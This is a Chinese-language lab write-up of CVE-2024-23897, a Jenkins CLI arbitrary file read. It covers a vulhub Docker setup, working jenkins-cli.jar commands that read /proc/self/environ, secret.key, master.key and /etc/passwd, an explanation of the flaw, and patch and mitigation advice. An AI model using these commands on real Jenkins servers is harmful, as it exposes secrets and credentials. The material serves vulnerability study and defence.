在命令行使用 Jenkins 的 CLI 时,Jenkins 会调用 args4j 这个开源库来解析你输入的参数和选项。这个解析器有个“@文件”功能:如果参数里写了 @ 加上一个文件路径,它就会自动把那个文件的内容插入到命令里。正是这个功能,让攻击者可以借机让 Jenkins 读取并返回服务器上任意文件的内容
“CLI 命令”是指通过 命令行界面(Command Line Interface,简称 CLI) 输入的指令,用来与操作系统或程序进行交互。CLI 是一种用户与计算机进行交互的方式。它不同于图形用户界面(GUI,比如你在桌面上点击图标),而是通过输入文本命令来执行操作。
CLI 的窗口通常是一个 终端(Terminal),比如:Windows 上的:cmd、PowerShell、Windows Terminal和macOS / Linux 上的:Terminal、iTerm2 等
参考:
Jenkins <= 2.441
Jenkins LTS <= 2.426.2
通过在github上下载vulhub,进入vulhub文件夹中的jenkins看到CVE-2024-23897进入CVE-2024-23897后通过 docker compose up -d 命令启动环境。
成功启动后 在浏览器上搜索url: http://your-ip:8080/访问上环境(默认管理员用户名和密码为admin和vulhub)
在客户端上浏览器上输入
http://localhost:8080/jnlpJars/jenkins-cli.jar

这个 JAR 包位于 Jenkins 主机的 JENKINS_URL/jnlpJars/jenkins-cli.jar 路径下,是随 Jenkins 一起部署的官方 CLI 客户端。
作用
它封装了与 Jenkins Controller 通信的所有客户端逻辑,包括:
通过 HTTP(或 JNLP / WebSocket)协议将命令和参数发送到服务器;
对 args4j 解析出的命令行选项进行封装;
接收并渲染服务器返回的执行结果或错误信息。
获取 Jenkins 基目录JENKINS_HOME=/var/jenkins_home
在保存jenkins-cli.jar的目录下执行:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

secrets.key或master.key(匿名,只能通过命令行上的错误读取文件的第一行):
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key" java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

因为“允许匿名读取访问”已打开 还可以读取文件的全部内容:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

当你在命令行里写 help 1 "@/var/jenkins_home/secret.key" 时,JVM 启动 jenkins-cli.jar,args4j 在本地把 @… 替换成 /var/jenkins_home/secret.key 文件的内容(通常就是 Jenkins Controller 上的 secret.key)。
向服务器发起请求
CLI 客户端将命令(help 1 <文件内容>)通过 HTTP POST 发给 Jenkins 服务器的 /cli 接口。
服务器端回显
help 命令本来会把它收到的参数——即文件内容——当作“帮助条目”返回给客户端,于是你就看到了文件中的密钥或者任意文本。
connect-node 的原意是让一个 Jenkins Agent(节点)通过 CLI 注册到 Controller,它期望收到两个参数:
节点名称
节点密钥(secret)
当你把整个 /etc/passwd 文件当“密钥”传过去时,Jenkins 在处理这条命令失败(因为这显然不是合法的节点 secret)时,会在错误信息里完整地回显它收到的“密钥”参数——也就是你传入的整个文件内容。
相比之下,像 help 这种只拿来打印帮助文本的命令,Jenkins 为了“可读性”默认只输出前几行,所以只能看到文件开头;而 connect-node 并没有对参数长度做任何截断,于是就会把文件的所有行都“原封不动”地返还给你。
安全更新
目前官方已有可更新版本,建议受影响用户升级至:
Jenkins >= 2.442
Jenkins LTS >= 2.426.3
下载链接:https://www.jenkins.io/download/
缓解措施:
禁用CLI或限制访问:如果不需要使用Jenkins CLI,可以在Jenkins配置中禁用CLI功能。如果需要使用CLI,请限制对CLI的访问权限,并仅授权给受信任的用户。
通用建议:
最小权限原则:按照最小权限原则,为用户和插件分配适当的权限级别,仅提供其所需的操作和功能。
安全配置:仔细配置Jenkins的安全设置,包括启用CSRF保护、禁用不必要的功能和插件、限制对重要文件和密钥的访问等。
密钥管理:妥善管理和保护Jenkins中使用的密钥,包括限制对密钥文件的访问权限、定期更换密钥、使用安全的密钥存储等。
审查日志:定期审查Jenkins的日志文件,以及监控和检测任何可疑活动或异常行为。